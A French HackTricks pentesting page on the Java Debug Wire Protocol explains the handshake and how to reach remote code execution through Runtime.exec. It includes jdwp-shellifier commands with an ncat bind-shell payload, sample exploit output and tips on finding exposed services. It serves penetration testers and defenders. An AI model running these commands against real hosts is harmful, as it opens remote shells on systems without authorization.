mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
230 lines
23 KiB
Markdown
230 lines
23 KiB
Markdown
# Pentesting JDWP - Protocole de débogage Java
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise promue dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## Exploitation
|
||
|
||
L'exploitation de JDWP repose sur le **manque d'authentification et de chiffrement du protocole**. Il se trouve généralement sur le **port 8000**, mais d'autres ports sont possibles. La connexion initiale est établie en envoyant un "JDWP-Handshake" au port cible. Si un service JDWP est actif, il répond avec la même chaîne, confirmant sa présence. Cette poignée de main sert de méthode de fingerprinting pour identifier les services JDWP sur le réseau.
|
||
|
||
En termes d'identification de processus, la recherche de la chaîne "jdwk" dans les processus Java peut indiquer une session JDWP active.
|
||
|
||
L'outil de prédilection est [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Vous pouvez l'utiliser avec différents paramètres :
|
||
```bash
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||
```
|
||
J'ai constaté que l'utilisation de `--break-on 'java.lang.String.indexOf'` rend l'exploit plus **stable**. Et si vous avez la possibilité de télécharger une porte dérobée sur l'hôte et de l'exécuter au lieu d'exécuter une commande, l'exploit sera encore plus stable.
|
||
|
||
## Plus de détails
|
||
|
||
**Copié de** [**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)
|
||
|
||
### **Java Debug Wire Protocol**
|
||
|
||
**Java Platform Debug Architecture (JPDA)** : JDWP est un composant du système global de débogage Java, appelé Java Platform Debug Architecture (JPDA)\[2]. Voici un diagramme de l'architecture globale :
|
||
|
||
[](https://ioactive.com/wp-content/uploads/2014/04/jdpa-1.png)
|
||
|
||
Le Debuggee consiste en une JVM multi-threadée exécutant notre application cible. Pour être débogable à distance, l'instance JVM doit être explicitement démarrée avec l'option -Xdebug passée en ligne de commande, ainsi que l'option -Xrunjdwp (ou -agentlib). Par exemple, démarrer un serveur Tomcat avec le débogage à distance activé ressemblerait à ceci :
|
||
|
||
[](https://ioactive.com/wp-content/uploads/2014/04/tomat-1.png)
|
||
|
||
Comme le montre le diagramme d'architecture, le Java Debug Wire Protocol est le lien central entre le Debugger et l'instance JVM. Les observations sur le protocole incluent :
|
||
|
||
* C'est un protocole binaire réseau basé sur des paquets.
|
||
* Il est principalement synchrone. Le débogueur envoie une commande via JDWP et s'attend à recevoir une réponse. Cependant, certaines commandes, comme les Événements, ne s'attendent pas à une réponse synchrone. Elles enverront une réponse lorsque des conditions spécifiques seront remplies. Par exemple, un BreakPoint est un Événement.
|
||
* Il n'utilise pas d'authentification.
|
||
* Il n'utilise pas de chiffrement.
|
||
|
||
Toutes ces observations sont tout à fait logiques puisque nous parlons d'un protocole de débogage. Cependant, lorsqu'un tel service est exposé à un réseau hostile, ou est accessible sur Internet, les choses pourraient mal tourner.\
|
||
\
|
||
**Handshake** : JDWP dicte\[9] que la communication doit être initiée par une poignée de main simple. Après une connexion TCP réussie, le Debugger (client) envoie la chaîne ASCII de 14 caractères "JDWP-Handshake". Le Debuggee (serveur) répond à ce message en envoyant exactement la même chaîne. La trace scapy\[3] suivante montre la poignée de main initiale dans les deux sens :
|
||
|
||
root:\~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:\~/tools/scapy-hg # ./run\_scapy
|
||
|
||
Bienvenue dans Scapy (2.2.0-dev)\
|
||
**>>>** sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)\
|
||
\<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>\
|
||
**>>>** tcp.hexraw()\
|
||
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S\
|
||
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA\
|
||
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A\
|
||
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw\
|
||
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
|
||
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\
|
||
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\
|
||
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw\
|
||
**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\
|
||
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
|
||
|
||
Un auditeur de sécurité expérimenté peut déjà réaliser qu'une poignée de main aussi simple offre un moyen facile de découvrir les services JDWP actifs sur Internet. Envoyez simplement une sonde simple et vérifiez la réponse spécifique. Plus intéressant encore, un comportement a été observé sur le Java Development Kit d'IBM lors de l'analyse avec ShodanHQ\[4] avec le serveur "parlant" en premier avec la même bannière mentionnée. Par conséquent, il existe un moyen totalement passif de découvrir un service JDWP actif (ceci est couvert plus loin dans cet article avec l'aide du (in)fameux Shodan).\
|
||
\
|
||
**Communication** : JDWP définit les messages\[10] impliqués dans les communications entre le Debugger et le Debuggee. Les messages suivent une structure simple, définie comme suit : 
|
||
|
||
<figure><img src="https://ioactive.com/wp-content/uploads/2014/04/createstring.png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Les champs Length et Id sont plutôt explicites. Le champ Flag est uniquement utilisé pour distinguer les paquets de requête des réponses, une valeur de 0x80 indiquant un paquet de réponse. Le champ CommandSet définit la catégorie de la Commande comme le montre le tableau suivant.\
|
||
\\
|
||
|
||
| **CommandSet** | \*\* Command\*\* |
|
||
| -------------- | ---------------------------------------------------------------------------------------------------------------- |
|
||
| 0x40 | Action à prendre par la JVM (par exemple, définir un BreakPoint) |
|
||
| 0x40–0x7F | Fournir des informations sur l'événement au débogueur (par exemple, la JVM a atteint un BreakPoint et attend des actions supplémentaires) |
|
||
| 0x80 | Extensions tierces |
|
||
|
||
Gardant à l'esprit que nous voulons exécuter du code arbitraire, les commandes suivantes sont les plus intéressantes pour nos objectifs.
|
||
|
||
* VirtualMachine/IDSizes définit la taille des structures de données gérées par la JVM. C'est l'une des raisons pour lesquelles le script nmap jdwp-exec.nse\[11] ne fonctionne pas, car le script utilise des tailles codées en dur.
|
||
* ClassType/InvokeMethod vous permet d'invoquer une fonction statique.
|
||
* ObjectReference/InvokeMethod vous permet d'invoquer une fonction à partir d'un objet instancié dans la JVM.
|
||
* StackFrame/(Get|Set)Values offre des capacités de push/pop à partir de la pile des threads.
|
||
* Event/Composite force la JVM à réagir à des comportements spécifiques déclarés par cette commande. Cette commande est une clé majeure pour les objectifs de débogage car elle permet, entre autres, de définir des points d'arrêt, de faire du pas à pas dans les threads pendant l'exécution, et d'être notifié lors de l'accès/modification des valeurs de la même manière que GDB ou WinDBG.
|
||
|
||
JDWP vous permet non seulement d'accéder et d'invoquer des objets déjà résidant en mémoire, mais également de créer ou de remplacer des données.
|
||
|
||
* VirtualMachine/CreateString vous permet de transformer une chaîne en java.lang.String vivant dans l'exécution de la JVM.
|
||
* VirtualMachine/RedefineClasses vous permet d'installer de nouvelles définitions de classe.
|
||
|
||
**"Tous vos JDWP nous appartiennent"**
|
||
|
||
Comme nous l'avons vu, JDWP fournit des commandes intégrées pour charger des classes arbitraires dans la mémoire de la JVM et invoquer du bytecode déjà existant et/ou nouvellement chargé. La section suivante couvrira les étapes de création d'un code d'exploitation en Python, qui se comporte comme une implémentation partielle d'une interface JDI afin d'être aussi fiable que possible. La raison principale de ce script d'exploit autonome est que, en tant que pentester, j'aime les exploits "head-shot". C'est-à-dire, lorsque je sais avec certitude qu'un environnement/application/protocole est vulnérable, je veux avoir mon outil prêt à l'exploiter immédiatement (c'est-à-dire pas de PoC, qui est essentiellement la seule chose qui existait jusqu'à présent). Maintenant que nous avons couvert la théorie, passons à la mise en œuvre pratique. Lorsque vous êtes confronté à un service JDWP ouvert, l'exécution de commandes arbitraires est à seulement cinq étapes (ou avec cet exploit, à une seule ligne de commande). Voici comment cela se passerait : 1. Récupérer la référence de l'exécution JavaLa JVM manipule les objets à travers leurs références. Pour cette raison, notre exploit doit d'abord obtenir la référence à la classe java.lang.Runtime. De cette classe, nous avons besoin de la référence à la méthode getRuntime(). Ceci est réalisé en récupérant toutes les classes (paquet AllClasses) et toutes les méthodes de la classe que nous recherchons (paquet ReferenceType/Methods). 2. Configurer un point d'arrêt et attendre la notification (appels asynchrones)C'est la clé de notre exploit. Pour invoquer du code arbitraire, nous devons être dans un contexte de thread en cours d'exécution. Pour ce faire, une astuce consiste à configurer un point d'arrêt sur une méthode qui est connue pour être appelée à l'exécution. Comme vu précédemment, un point d'arrêt dans JDI est un événement asynchrone dont le type est défini sur BREAKPOINT(0x02). Lorsqu'il est atteint, la JVM envoie un paquet EventData à notre débogueur, contenant notre ID de point d'arrêt, et plus important encore, la référence au thread qui l'a atteint.\
|
||
\
|
||
|
||
|
||
<figure><img src="https://ioactive.com/wp-content/uploads/2014/04/event_break.png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Il est donc judicieux de le définir sur une méthode fréquemment appelée, telle que java.net.ServerSocket.accept(), qui est très susceptible d'être appelée à chaque fois que le serveur reçoit une nouvelle connexion réseau. Cependant, il faut garder à l'esprit que cela pourrait être n'importe quelle méthode existante à l'exécution. 3. Allouer un objet Java String dans Runtime pour transporter le payloadNous allons exécuter du code dans l'exécution de la JVM, donc toutes nos données manipulées (telles que la chaîne) doivent exister dans l'exécution de la JVM (c'est-à-dire posséder une référence d'exécution). Ceci est fait assez facilement en envoyant une commande CreateString.
|
||
|
||
<figure><img src="https://ioactive.com/wp-content/uploads/2014/04/Untitled.png" alt=""><figcaption></figcaption></figure>
|
||
|
||
4\. Obtenir l'objet Runtime à partir du contexte de point d'arrêtÀ ce stade, nous avons presque tous les éléments dont nous avons besoin pour une exploitation réussie et fiable. Ce qui nous manque, c'est une référence d'objet Runtime. L'obtenir est facile, et nous pouvons simplement exécuter dans l'exécution de la JVM la méthode statique java.lang.Runtime.getRuntime()\[8] en envoyant un paquet ClassType/InvokeMethod et en fournissant les références de la classe Runtime et du thread. 5. Rechercher et invoquer la méthode exec() dans l'instance RuntimeL'étape finale consiste simplement à rechercher la méthode exec() dans l'objet statique Runtime obtenu lors de l'étape précédente et à l'invoquer (en envoyant un paquet ObjectReference/InvokeMethod) avec l'objet String que nous avons créé à l'étape trois. 
|
||
|
||
<figure><img src="https://ioactive.com/wp-content/uploads/2014/04/exec.png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Et voilà !! Rapide et facile. En guise de démonstration, lançons un Tomcat exécuté avec le mode "debug" JPDA activé :
|
||
|
||
root@pwnbox:\~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
|
||
|
||
Nous exécutons notre script sans commande à exécuter, pour simplement obtenir des informations générales sur le système :
|
||
```
|
||
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
|
||
[+] Targeting ‘192.168.2.9:8000’
|
||
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
|
||
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
|
||
[+] Created break event id=2
|
||
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
|
||
[+] Received matching event from thread 0x8b0
|
||
[+] Found Operating System ‘Mac OS X’
|
||
[+] Found User name ‘pentestosx’
|
||
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
|
||
[+] Found User home directory ‘/Users/pentestosx’
|
||
[!] Command successfully executed
|
||
```
|
||
Même ligne de commande, mais contre un système Windows et interrompant une méthode totalement différente :
|
||
```
|
||
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
|
||
[+] Targeting ‘192.168.2.8:8000’
|
||
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
|
||
[+] Found Runtime class: id=593
|
||
[+] Found Runtime.getRuntime(): id=17977a9c
|
||
[+] Created break event id=2
|
||
[+] Waiting for an event on ‘java.lang.String.indexOf’
|
||
[+] Received matching event from thread 0x8f5
|
||
[+] Found Operating System ‘Windows 7’
|
||
[+] Found User name ‘hugsy’
|
||
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
|
||
[+] Found User home directory ‘C:Usershugsy’
|
||
[!] Command successfully executed
|
||
```
|
||
Nous exécutons notre exploit pour créer un bind shell avec le payload « ncat -e /bin/bash -l -p 1337 », contre un système Linux :
|
||
```
|
||
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
|
||
[+] Targeting ‘192.168.2.8:8000’
|
||
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
|
||
[+] Found Runtime class: id=79d
|
||
[+] Found Runtime.getRuntime(): id=8a1f5e0
|
||
[+] Created break event id=2
|
||
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
|
||
[+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
|
||
[+] Command string object created id:82b
|
||
[+] Runtime.getRuntime() returned context id:0x82c
|
||
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
|
||
[!] Command successfully executed Success, we now have a listening socket!
|
||
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
|
||
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat
|
||
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat
|
||
```
|
||
```markdown
|
||
Le dernier exploit utilise ces techniques, ajoute quelques vérifications et envoie des signaux de suspension/reprise pour causer le moins de perturbations possible (c'est toujours mieux de ne pas casser l'application sur laquelle vous travaillez, n'est-ce pas ?). Il agit en deux modes :
|
||
|
||
* Le mode "par défaut" est totalement non intrusif et exécute simplement du code Java pour obtenir des informations sur le système local (parfait pour un PoC à un client).
|
||
* En passant l'option "cmd", une commande système est exécutée sur l'hôte distant et est donc plus intrusive. La commande est effectuée avec les privilèges avec lesquels la JVM fonctionne.
|
||
|
||
Ce script d'exploitation a été testé avec succès contre :
|
||
|
||
* Oracle Java JDK 1.6 et 1.7
|
||
* OpenJDK 1.6
|
||
* IBM JDK 1.6
|
||
|
||
Comme Java est conçu pour être indépendant de la plateforme, les commandes peuvent être exécutées sur n'importe quel système d'exploitation que Java prend en charge. Eh bien, c'est en fait une bonne nouvelle pour nous, les pentesters : **un service JDWP ouvert signifie un RCE fiable**. Jusqu'ici, tout va bien.
|
||
|
||
### **Qu'en est-il de l'exploitation dans la vie réelle ?**
|
||
|
||
En fait, JDWP est assez utilisé dans le monde des applications Java. Les pentesters pourraient cependant ne pas le voir si souvent lors d'évaluations à distance car les pare-feu bloqueraient (et devraient) principalement le port sur lequel il fonctionne. Mais cela ne signifie pas que JDWP ne peut pas être trouvé à l'état sauvage :
|
||
|
||
* Au moment de la rédaction de cet article, une recherche rapide sur ShodanHQ\[4] révèle immédiatement environ 40 serveurs envoyant la poignée de main JDWP :
|
||
|
||
|
||
|
||
C'est en fait une découverte intéressante car, comme nous l'avons vu précédemment, c'est censé être le côté client (débogueur) qui initie le dialogue.
|
||
|
||
* GitHub\[7] révèle également un nombre significatif d'applications open-source potentiellement vulnérables :
|
||
|
||
|
||
|
||
* Scanner le masscan sur Internet à la recherche de ports spécifiques (tcp/8000, tcp/8080, tcp/8787, tcp/5005) a révélé de nombreux hôtes (qui ne peuvent pas être signalés ici) répondant à la poignée de main initiale.
|
||
* Des applications "d'entreprise" ont été trouvées dans la nature exécutant un service JDWP *par défaut* (trouver le numéro de port réel est laissé comme exercice au lecteur curieux).
|
||
|
||
Ce ne sont que quelques façons de découvrir des services JDWP ouverts sur Internet. C'est un excellent rappel que les applications devraient régulièrement subir des examens de sécurité approfondis, les environnements de production devraient avoir toute fonctionnalité de débogage désactivée, et les pare-feu devraient être configurés pour restreindre l'accès uniquement aux services nécessaires au fonctionnement normal. Permettre à quiconque de se connecter à un service JDWP, c'est exactement la même chose que de permettre une connexion à un service gdbserver (de manière peut-être plus stable). J'espère que vous avez apprécié la lecture de cet article autant que j'ai apprécié jouer avec JDWP. À vous tous, puissants pirates, joyeux piratage de JDWP !!
|
||
|
||
**Merci**\
|
||
\
|
||
Je tiens à remercier Ilja Van Sprundel et Sebastien Macke pour leurs idées et tests.
|
||
|
||
### **Références :**
|
||
|
||
1. [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||
2. [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
|
||
3. http://www.secdev.org/projects/scapy (n'est plus actif)
|
||
4. [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||
5. http://www.hsc-news.com/archives/2013/000109.html (n'est plus actif)
|
||
6. [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||
7. https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
|
||
8. [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||
9. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||
10. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||
11. [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au** [**répertoire hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**répertoire hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
```
|